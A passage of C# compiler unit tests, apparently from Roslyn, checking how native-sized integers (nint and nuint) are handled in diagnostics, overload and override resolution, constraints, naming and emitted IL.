.method public hidebysig static void F3(native uint modopt(native uint) i) cil managed { ret }
.method public hidebysig static void F4(native uint& modopt(native uint) i) cil managed { ret }
.method public hidebysig instance class System.IComparable`1<native uint modopt(native uint)> F5() cil managed { ldnull throw }
.method public hidebysig instance void F6(native uint modopt(class System.IComparable`1<native uint>) i) cil managed { ret }
.method public hidebysig instance native uint modopt(native uint) get_P() cil managed { ldnull throw }
.method public hidebysig instance native uint& modopt(native uint) get_Q() cil managed { ldnull throw }
.method public hidebysig instance void set_P(native uint modopt(native uint) i) cil managed { ret }
.property instance native uint modopt(native uint) P()
{
.get instance native uint modopt(native uint) System.UIntPtr::get_P()
.set instance void System.UIntPtr::set_P(native uint modopt(native uint))
}
.property instance native uint& modopt(native uint) Q()
{
.get instance native uint& modopt(native uint) System.UIntPtr::get_Q()
}
}";
var refA = CompileIL(sourceA, prependDefaultHeader: false, autoInherit: false);
var sourceB =
@"class Program
{
static void F1(nint i)
{
_ = nint.F1();
_ = nint.F2();
nint.F3(i);
nint.F4(ref i);
_ = i.F5();
i.F6(i);
_ = i.P;
_ = i.Q;
i.P = i;
}
static void F2(nuint u)
{
_ = nuint.F1();
_ = nuint.F2();
nuint.F3(u);
nuint.F4(ref u);
_ = u.F5();
u.F6(u);
_ = u.P;
_ = u.Q;
u.P = u;
}
}";
var comp = CreateEmptyCompilation(sourceB, new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F1").Parameters[0].Type, signed: true);
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F2").Parameters[0].Type, signed: false);
static void verifyType(NamedTypeSymbol type, bool signed)
{
Assert.True(type.IsNativeIntegerType);
VerifyType(type, signed: signed, isNativeInt: true);
VerifyType(type.GetPublicSymbol(), signed: signed, isNativeInt: true);
var underlyingType = type.NativeIntegerUnderlyingType;
var members = type.GetMembers().Sort(SymbolComparison);
var actualMembers = members.SelectAsArray(m => m.ToTestDisplayString());
var expectedMembers = new[]
{
$"System.IComparable<{type} modopt({underlyingType})> {type}.F5()",
$"{type} modopt({underlyingType}) {type}.F1()",
$"{type} modopt({underlyingType}) {type}.P {{ get; set; }}",
$"{type} modopt({underlyingType}) {type}.P.get",
$"{type}..ctor()",
$"ref modopt({underlyingType}) {type} {type}.F2()",
$"ref modopt({underlyingType}) {type} {type}.Q {{ get; }}",
$"ref modopt({underlyingType}) {type} {type}.Q.get",
$"void {type}.F3({type} modopt({underlyingType}) i)",
$"void {type}.F4(ref modopt({underlyingType}) {type} i)",
$"void {type}.F6({type} modopt(System.IComparable<{underlyingType}>) i)",
$"void {type}.P.set",
};
AssertEx.Equal(expectedMembers, actualMembers);
VerifyMembers(underlyingType, type, signed);
VerifyMembers(underlyingType.GetPublicSymbol(), type.GetPublicSymbol(), signed);
}
}
[Fact]
public void DefaultConstructors()
{
var source =
@"class Program
{
static void Main()
{
F(new nint());
F(new nuint());
}
static void F(object o)
{
System.Console.WriteLine(o);
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(
// (5,15): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F(new nint());
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nint").WithArguments("native-sized integers", "9.0").WithLocation(5, 15),
// (6,15): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F(new nuint());
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nuint").WithArguments("native-sized integers", "9.0").WithLocation(6, 15));
comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var verifier = CompileAndVerify(comp, expectedOutput:
@"0
0");
verifier.VerifyIL("Program.Main",
@"{
// Code size 25 (0x19)
.maxstack 1
IL_0000: ldc.i4.0
IL_0001: conv.i
IL_0002: box ""System.IntPtr""
IL_0007: call ""void Program.F(object)""
IL_000c: ldc.i4.0
IL_000d: conv.i
IL_000e: box ""System.UIntPtr""
IL_0013: call ""void Program.F(object)""
IL_0018: ret
}");
}
[Fact]
public void NewConstraint()
{
var source =
@"class Program
{
static void Main()
{
F<nint>();
F<nuint>();
}
static void F<T>() where T : new()
{
System.Console.WriteLine(new T());
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(
// (5,11): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F<nint>();
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nint").WithArguments("native-sized integers", "9.0").WithLocation(5, 11),
// (6,11): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F<nuint>();
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nuint").WithArguments("native-sized integers", "9.0").WithLocation(6, 11));
comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var verifier = CompileAndVerify(comp, expectedOutput:
@"0
0");
verifier.VerifyIL("Program.Main",
@"{
// Code size 11 (0xb)
.maxstack 0
IL_0000: call ""void Program.F<nint>()""
IL_0005: call ""void Program.F<nuint>()""
IL_000a: ret
}");
}
[Fact]
public void ArrayInitialization()
{
var source =
@"class Program
{
static void Main()
{
Report(new nint[] { int.MinValue, -1, 0, 1, int.MaxValue });
Report(new nuint[] { 0, 1, 2, int.MaxValue, uint.MaxValue });
}
static void Report<T>(T[] items)
{
foreach (var item in items)
System.Console.WriteLine($""{item.GetType().FullName}: {item}"");
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
var verifier = CompileAndVerify(comp, expectedOutput:
@"System.IntPtr: -2147483648
System.IntPtr: -1
System.IntPtr: 0
System.IntPtr: 1
System.IntPtr: 2147483647
System.UIntPtr: 0
System.UIntPtr: 1
System.UIntPtr: 2
System.UIntPtr: 2147483647
System.UIntPtr: 4294967295");
verifier.VerifyIL("Program.Main",
@"{
// Code size 75 (0x4b)
.maxstack 4
IL_0000: ldc.i4.5
IL_0001: newarr ""System.IntPtr""
IL_0006: dup
IL_0007: ldc.i4.0
IL_0008: ldc.i4 0x80000000
IL_000d: conv.i
IL_000e: stelem.i
IL_000f: dup
IL_0010: ldc.i4.1
IL_0011: ldc.i4.m1
IL_0012: conv.i
IL_0013: stelem.i
IL_0014: dup
IL_0015: ldc.i4.3
IL_0016: ldc.i4.1
IL_0017: conv.i
IL_0018: stelem.i
IL_0019: dup
IL_001a: ldc.i4.4
IL_001b: ldc.i4 0x7fffffff
IL_0020: conv.i
IL_0021: stelem.i
IL_0022: call ""void Program.Report<nint>(nint[])""
IL_0027: ldc.i4.5
IL_0028: newarr ""System.UIntPtr""
IL_002d: dup
IL_002e: ldc.i4.1
IL_002f: ldc.i4.1
IL_0030: conv.i
IL_0031: stelem.i
IL_0032: dup
IL_0033: ldc.i4.2
IL_0034: ldc.i4.2
IL_0035: conv.i
IL_0036: stelem.i
IL_0037: dup
IL_0038: ldc.i4.3
IL_0039: ldc.i4 0x7fffffff
IL_003e: conv.i
IL_003f: stelem.i
IL_0040: dup
IL_0041: ldc.i4.4
IL_0042: ldc.i4.m1
IL_0043: conv.u
IL_0044: stelem.i
IL_0045: call ""void Program.Report<nuint>(nuint[])""
IL_004a: ret
}");
}
[Fact]
public void Overrides_01()
{
var sourceA =
@"public interface IA
{
void F1(nint x, System.UIntPtr y);
}
public abstract class A
{
public abstract void F2(System.IntPtr x, nuint y);
}";
var sourceB =
@"class B1 : A, IA
{
public void F1(nint x, System.UIntPtr y) { }
public override void F2(System.IntPtr x, nuint y) { }
}
class B2 : A, IA
{
public void F1(System.IntPtr x, nuint y) { }
public override void F2(nint x, System.UIntPtr y) { }
}
class A3 : IA
{
void IA.F1(nint x, System.UIntPtr y) { }
}
class A4 : IA
{
void IA.F1(System.IntPtr x, nuint y) { }
}";
var comp = CreateCompilation(new[] { sourceA, sourceB }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateCompilation(sourceB, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { ref2 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
}
[Fact]
public void Overrides_02()
{
var sourceA =
@"public interface IA
{
void F1(System.IntPtr x, System.UIntPtr y);
}
public abstract class A
{
public abstract void F2(System.IntPtr x, System.UIntPtr y);
}";
var sourceB =
@"class B1 : A, IA
{
public void F1(nint x, System.UIntPtr y) { }
public override void F2(nint x, System.UIntPtr y) { }
}
class B2 : A, IA
{
public void F1(System.IntPtr x, nuint y) { }
public override void F2(System.IntPtr x, nuint y) { }
}
class A3 : IA
{
void IA.F1(nint x, System.UIntPtr y) { }
}
class A4 : IA
{
void IA.F1(System.IntPtr x, nuint y) { }
}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics();
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateCompilation(sourceB, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { ref2 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
}
[Fact]
public void Overrides_03()
{
var sourceA =
@"public interface IA
{
void F1(nint x, System.UIntPtr y);
}
public abstract class A
{
public abstract void F2(System.IntPtr x, nuint y);
}";
var sourceB =
@"class B1 : A, IA
{
public void F1(System.IntPtr x, System.UIntPtr y) { }
public override void F2(System.IntPtr x, System.UIntPtr y) { }
}
class A2 : IA
{
void IA.F1(System.IntPtr x, System.UIntPtr y) { }
}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateCompilation(sourceB, references: new[] { ref1 }, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { ref2 }, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics();
}
[Fact]
public void Overloads_01()
{
var sourceA =
@"public class A
{
public void F1(System.IntPtr x) { }
public void F2(nuint y) { }
}";
var sourceB =
@"class B1 : A
{
public void F1(nuint x) { }
public void F2(System.IntPtr y) { }
}
class B2 : A
{
public void F1(nint x) { base.F1(x); }
public void F2(System.UIntPtr y) { base.F2(y); }
}
class B3 : A
{
public new void F1(nuint x) { }
public new void F2(System.IntPtr y) { }
}
class B4 : A
{
public new void F1(nint x) { base.F1(x); }
public new void F2(System.UIntPtr y) { base.F2(y); }
}";
var diagnostics = new[]
{
// (8,17): warning CS0108: 'B2.F1(nint)' hides inherited member 'A.F1(IntPtr)'. Use the new keyword if hiding was intended.
// public void F1(nint x) { base.F1(x); }
Diagnostic(ErrorCode.WRN_NewRequired, "F1").WithArguments("B2.F1(nint)", "A.F1(System.IntPtr)").WithLocation(8, 17),
// (9,17): warning CS0108: 'B2.F2(UIntPtr)' hides inherited member 'A.F2(nuint)'. Use the new keyword if hiding was intended.
// public void F2(System.UIntPtr y) { base.F2(y); }
Diagnostic(ErrorCode.WRN_NewRequired, "F2").WithArguments("B2.F2(System.UIntPtr)", "A.F2(nuint)").WithLocation(9, 17),
// (13,21): warning CS0109: The member 'B3.F1(nuint)' does not hide an accessible member. The new keyword is not required.
// public new void F1(nuint x) { }
Diagnostic(ErrorCode.WRN_NewNotRequired, "F1").WithArguments("B3.F1(nuint)").WithLocation(13, 21),
// (14,21): warning CS0109: The member 'B3.F2(IntPtr)' does not hide an accessible member. The new keyword is not required.
// public new void F2(System.IntPtr y) { }
Diagnostic(ErrorCode.WRN_NewNotRequired, "F2").WithArguments("B3.F2(System.IntPtr)").WithLocation(14, 21)
};
var comp = CreateCompilation(new[] { sourceA, sourceB }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(diagnostics);
comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateCompilation(sourceB, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(diagnostics);
comp = CreateCompilation(sourceB, references: new[] { ref2 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(diagnostics);
}
[Fact]
public void Overloads_02()
{
var sourceA =
@"public class A
{
public void F1(System.IntPtr x) { }
public void F2(System.UIntPtr y) { }
}";
var sourceB =
@"class B1 : A
{
public void F1(nint x) { base.F1(x); }
public void F2(nuint y) { base.F2(y); }
}
class B2 : A
{
public void F1(nuint x) { }
public void F2(nint y) { }
}
class B3 : A
{
public void F1(nint x) { base.F1(x); }
public void F2(nuint y) { base.F2(y); }
}
class B4 : A
{
public void F1(nuint x) { }
public void F2(nint y) { }
}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics();
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
var diagnostics = new[]
{
// (3,17): warning CS0108: 'B1.F1(nint)' hides inherited member 'A.F1(IntPtr)'. Use the new keyword if hiding was intended.
// public void F1(nint x) { base.F1(x); }
Diagnostic(ErrorCode.WRN_NewRequired, "F1").WithArguments("B1.F1(nint)", "A.F1(System.IntPtr)").WithLocation(3, 17),
// (4,17): warning CS0108: 'B1.F2(nuint)' hides inherited member 'A.F2(UIntPtr)'. Use the new keyword if hiding was intended.
// public void F2(nuint y) { base.F2(y); }
Diagnostic(ErrorCode.WRN_NewRequired, "F2").WithArguments("B1.F2(nuint)", "A.F2(System.UIntPtr)").WithLocation(4, 17),
// (13,17): warning CS0108: 'B3.F1(nint)' hides inherited member 'A.F1(IntPtr)'. Use the new keyword if hiding was intended.
// public void F1(nint x) { base.F1(x); }
Diagnostic(ErrorCode.WRN_NewRequired, "F1").WithArguments("B3.F1(nint)", "A.F1(System.IntPtr)").WithLocation(13, 17),
// (14,17): warning CS0108: 'B3.F2(nuint)' hides inherited member 'A.F2(UIntPtr)'. Use the new keyword if hiding was intended.
// public void F2(nuint y) { base.F2(y); }
Diagnostic(ErrorCode.WRN_NewRequired, "F2").WithArguments("B3.F2(nuint)", "A.F2(System.UIntPtr)").WithLocation(14, 17)
};
comp = CreateCompilation(sourceB, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(diagnostics);
comp = CreateCompilation(sourceB, references: new[] { ref2 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(diagnostics);
}
[Fact]
public void Overloads_03()
{
var sourceA =
@"public class A
{
public void F1(nint x) { }
public void F2(nuint y) { }
}";
var sourceB =
@"class B1 : A
{
public void F1(System.UIntPtr x) { }
public void F2(System.IntPtr y) { }
}
class B2 : A
{
public void F1(System.IntPtr x) { base.F1(x); }
public void F2(System.UIntPtr y) { base.F2(y); }
}
class B3 : A
{
public void F1(System.UIntPtr x) { }
public void F2(System.IntPtr y) { }
}
class B4 : A
{
public void F1(System.IntPtr x) { base.F1(x); }
public void F2(System.UIntPtr y) { base.F2(y); }
}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
var diagnostics = new[]
{
// (8,17): warning CS0108: 'B2.F1(IntPtr)' hides inherited member 'A.F1(nint)'. Use the new keyword if hiding was intended.
// public void F1(System.IntPtr x) { base.F1(x); }
Diagnostic(ErrorCode.WRN_NewRequired, "F1").WithArguments("B2.F1(System.IntPtr)", "A.F1(nint)").WithLocation(8, 17),
// (9,17): warning CS0108: 'B2.F2(UIntPtr)' hides inherited member 'A.F2(nuint)'. Use the new keyword if hiding was intended.
// public void F2(System.UIntPtr y) { base.F2(y); }
Diagnostic(ErrorCode.WRN_NewRequired, "F2").WithArguments("B2.F2(System.UIntPtr)", "A.F2(nuint)").WithLocation(9, 17),
// (18,17): warning CS0108: 'B4.F1(IntPtr)' hides inherited member 'A.F1(nint)'. Use the new keyword if hiding was intended.
// public void F1(System.IntPtr x) { base.F1(x); }
Diagnostic(ErrorCode.WRN_NewRequired, "F1").WithArguments("B4.F1(System.IntPtr)", "A.F1(nint)").WithLocation(18, 17),
// (19,17): warning CS0108: 'B4.F2(UIntPtr)' hides inherited member 'A.F2(nuint)'. Use the new keyword if hiding was intended.
// public void F2(System.UIntPtr y) { base.F2(y); }
Diagnostic(ErrorCode.WRN_NewRequired, "F2").WithArguments("B4.F2(System.UIntPtr)", "A.F2(nuint)").WithLocation(19, 17)
};
comp = CreateCompilation(sourceB, references: new[] { ref1 }, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(diagnostics);
comp = CreateCompilation(sourceB, references: new[] { ref2 }, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(diagnostics);
}
[Fact]
public void Overloads_04()
{
var source =
@"interface I
{
void F(System.IntPtr x);
void F(System.UIntPtr x);
void F(nint y);
}
class C
{
static void F(System.UIntPtr x) { }
static void F(nint y) { }
static void F(nuint y) { }
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (5,10): error CS0111: Type 'I' already defines a member called 'F' with the same parameter types
// void F(nint y);
Diagnostic(ErrorCode.ERR_MemberAlreadyExists, "F").WithArguments("F", "I").WithLocation(5, 10),
// (11,17): error CS0111: Type 'C' already defines a member called 'F' with the same parameter types
// static void F(nuint y) { }
Diagnostic(ErrorCode.ERR_MemberAlreadyExists, "F").WithArguments("F", "C").WithLocation(11, 17));
}
[Fact]
public void Overloads_05()
{
var source =
@"interface I
{
object this[System.IntPtr x] { get; }
object this[nint y] { get; set; }
}
class C
{
object this[nuint x] => null;
object this[System.UIntPtr y] { get { return null; } set { } }
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (4,12): error CS0111: Type 'I' already defines a member called 'this' with the same parameter types
// object this[nint y] { get; set; }
Diagnostic(ErrorCode.ERR_MemberAlreadyExists, "this").WithArguments("this", "I").WithLocation(4, 12),
// (9,12): error CS0111: Type 'C' already defines a member called 'this' with the same parameter types
// object this[System.UIntPtr y] { get { return null; } set { } }
Diagnostic(ErrorCode.ERR_MemberAlreadyExists, "this").WithArguments("this", "C").WithLocation(9, 12));
}
[Fact]
public void Overloads_06()
{
var source1 =
@"public interface IA
{
void F1(nint i);
void F2(nuint i);
}
public interface IB
{
void F1(System.IntPtr i);
void F2(System.UIntPtr i);
}";
var comp = CreateCompilation(source1, parseOptions: TestOptions.Regular9);
var ref1 = comp.EmitToImageReference();
var source2 =
@"class C : IA, IB
{
public void F1(System.IntPtr i) { }
public void F2(System.UIntPtr i) { }
}";
comp = CreateCompilation(source2, references: new[] { ref1 }, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics();
var source3 =
@"class C1 : IA, IB
{
public void F1(nint i) { }
public void F2(System.UIntPtr i) { }
}
class C2 : IA, IB
{
public void F1(System.IntPtr i) { }
public void F2(nuint i) { }
}";
comp = CreateCompilation(source3, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
}
[Fact]
public void Partial_01()
{
var source =
@"partial class Program
{
static partial void F1(System.IntPtr x);
static partial void F2(System.UIntPtr x) { }
static partial void F1(nint x) { }
static partial void F2(nuint x);
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
}
[Fact]
public void Constraints_01()
{
var sourceA =
@"public class A<T>
{
public static void F<U>() where U : T { }
}
public class B1 : A<nint> { }
public class B2 : A<nuint> { }
public class B3 : A<System.IntPtr> { }
public class B4 : A<System.UIntPtr> { }
";
var sourceB =
@"class Program
{
static void Main()
{
B1.F<System.IntPtr>();
B2.F<System.UIntPtr>();
B3.F<nint>();
B4.F<nuint>();
}
}";
var comp = CreateCompilation(new[] { sourceA, sourceB }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateCompilation(sourceB, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { ref2 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
}
[Fact]
public void Constraints_02()
{
var sourceA =
@"public class A<T>
{
public static void F<U>() where U : T { }
}
public class B1 : A<System.IntPtr> { }
public class B2 : A<System.UIntPtr> { }
";
var sourceB =
@"class Program
{
static void Main()
{
B1.F<nint>();
B2.F<nuint>();
}
}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics();
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateCompilation(sourceB, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { ref2 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
}
[Fact]
public void Constraints_03()
{
var sourceA =
@"public class A<T>
{
public static void F<U>() where U : T { }
}
public class B1 : A<nint> { }
public class B2 : A<nuint> { }
";
var sourceB =
@"class Program
{
static void Main()
{
B1.F<System.IntPtr>();
B2.F<System.UIntPtr>();
}
}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateCompilation(sourceB, references: new[] { ref1 }, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { ref2 }, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics();
}
[Fact]
public void ClassName()
{
var source =
@"class nint
{
}
interface I
{
nint Add(nint x, nuint y);
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(
// (6,22): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// nint Add(nint x, nuint y);
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nuint").WithArguments("native-sized integers", "9.0").WithLocation(6, 22));
verify(comp);
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verify(comp);
static void verify(CSharpCompilation comp)
{
var tree = comp.SyntaxTrees[0];
var nodes = tree.GetRoot().DescendantNodes().ToArray();
var model = comp.GetSemanticModel(tree);
var underlyingType = model.GetDeclaredSymbol(nodes.OfType<ClassDeclarationSyntax>().Single());
Assert.Equal("nint", underlyingType.ToTestDisplayString());
Assert.Equal(SpecialType.None, underlyingType.SpecialType);
var method = model.GetDeclaredSymbol(nodes.OfType<MethodDeclarationSyntax>().Single());
Assert.Equal("nint I.Add(nint x, nuint y)", method.ToTestDisplayString());
var underlyingType0 = method.Parameters[0].Type.GetSymbol<NamedTypeSymbol>();
var underlyingType1 = method.Parameters[1].Type.GetSymbol<NamedTypeSymbol>();
Assert.Equal(SpecialType.None, underlyingType0.SpecialType);
Assert.False(underlyingType0.IsNativeIntegerType);
Assert.Equal(SpecialType.System_UIntPtr, underlyingType1.SpecialType);
Assert.True(underlyingType1.IsNativeIntegerType);
}
}
[Fact]
public void AliasName_01()
{
var source =
@"using nint = System.Int16;
interface I
{
nint Add(nint x, nuint y);
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(
// (4,22): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// nint Add(nint x, nuint y);
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nuint").WithArguments("native-sized integers", "9.0").WithLocation(4, 22));
verify(comp);
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verify(comp);
static void verify(CSharpCompilation comp)
{
var method = comp.GetMember<MethodSymbol>("I.Add");
Assert.Equal("System.Int16 I.Add(System.Int16 x, nuint y)", method.ToTestDisplayString());
var underlyingType0 = (NamedTypeSymbol)method.Parameters[0].Type;
var underlyingType1 = (NamedTypeSymbol)method.Parameters[1].Type;
Assert.Equal(SpecialType.System_Int16, underlyingType0.SpecialType);
Assert.False(underlyingType0.IsNativeIntegerType);
Assert.Equal(SpecialType.System_UIntPtr, underlyingType1.SpecialType);
Assert.True(underlyingType1.IsNativeIntegerType);
}
}
[WorkItem(42975, "https://github.com/dotnet/roslyn/issues/42975")]
[Fact]
public void AliasName_02()
{
var source =
@"using N = nint;
class Program
{
N F() => default;
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(
// (1,11): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// using N = nint;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nint").WithArguments("native-sized integers", "9.0").WithLocation(1, 11));
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
}
[Fact]
public void MemberName_01()
{
var source =
@"namespace N
{
class nint { }
class Program
{
internal static object nuint;
static void Main()
{
_ = new nint();
_ = new @nint();
_ = new N.nint();
@nint i = null;
_ = i;
@nuint = null;
_ = nuint;
_ = @nuint;
_ = Program.nuint;
}
}
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics();
verify(comp);
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verify(comp);
static void verify(CSharpCompilation comp)
{
var tree = comp.SyntaxTrees[0];
var model = comp.GetSemanticModel(tree);
var nodes = tree.GetRoot().DescendantNodes().OfType<ObjectCreationExpressionSyntax>().ToArray();
Assert.Equal(3, nodes.Length);
foreach (var node in nodes)
{
var type = model.GetTypeInfo(node).Type;
Assert.Equal("N.nint", type.ToTestDisplayString());
Assert.Equal(SpecialType.None, type.SpecialType);
Assert.False(type.IsNativeIntegerType);
}
}
}
[Fact]
public void MemberName_02()
{
var source =
@"class Program
{
static void Main()
{
_ = nint.Equals(0, 0);
_ = nuint.Equals(0, 0);
}
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(
// (5,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = nint.Equals(0, 0);
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nint").WithArguments("native-sized integers", "9.0").WithLocation(5, 13),
// (6,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = nuint.Equals(0, 0);
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nuint").WithArguments("native-sized integers", "9.0").WithLocation(6, 13));
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
}
[Fact]
public void NameOf_01()
{
var source =
@"using System;
class Program
{
static void Main()
{
Console.WriteLine(nameof(nint));
Console.WriteLine(nameof(nuint));
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(
// (6,34): error CS0103: The name 'nint' does not exist in the current context
// Console.WriteLine(nameof(nint));
Diagnostic(ErrorCode.ERR_NameNotInContext, "nint").WithArguments("nint").WithLocation(6, 34),
// (7,34): error CS0103: The name 'nuint' does not exist in the current context
// Console.WriteLine(nameof(nuint));
Diagnostic(ErrorCode.ERR_NameNotInContext, "nuint").WithArguments("nuint").WithLocation(7, 34));
comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (6,34): error CS0103: The name 'nint' does not exist in the current context
// Console.WriteLine(nameof(nint));
Diagnostic(ErrorCode.ERR_NameNotInContext, "nint").WithArguments("nint").WithLocation(6, 34),
// (7,34): error CS0103: The name 'nuint' does not exist in the current context
// Console.WriteLine(nameof(nuint));
Diagnostic(ErrorCode.ERR_NameNotInContext, "nuint").WithArguments("nuint").WithLocation(7, 34));
}
[Fact]
public void NameOf_02()
{
var source =
@"class Program
{
static void F(nint nint)
{
_ = nameof(nint);
_ = nameof(nuint);
}
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(
// (3,19): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// static void F(nint nint)
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nint").WithArguments("native-sized integers", "9.0").WithLocation(3, 19),
// (6,20): error CS0103: The name 'nuint' does not exist in the current context
// _ = nameof(nuint);
Diagnostic(ErrorCode.ERR_NameNotInContext, "nuint").WithArguments("nuint").WithLocation(6, 20));
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (6,20): error CS0103: The name 'nuint' does not exist in the current context
// _ = nameof(nuint);
Diagnostic(ErrorCode.ERR_NameNotInContext, "nuint").WithArguments("nuint").WithLocation(6, 20));
}
[Fact]
public void NameOf_03()
{
var source =
@"class Program
{
static void F()
{
_ = nameof(@nint);
_ = nameof(@nuint);
}
}";
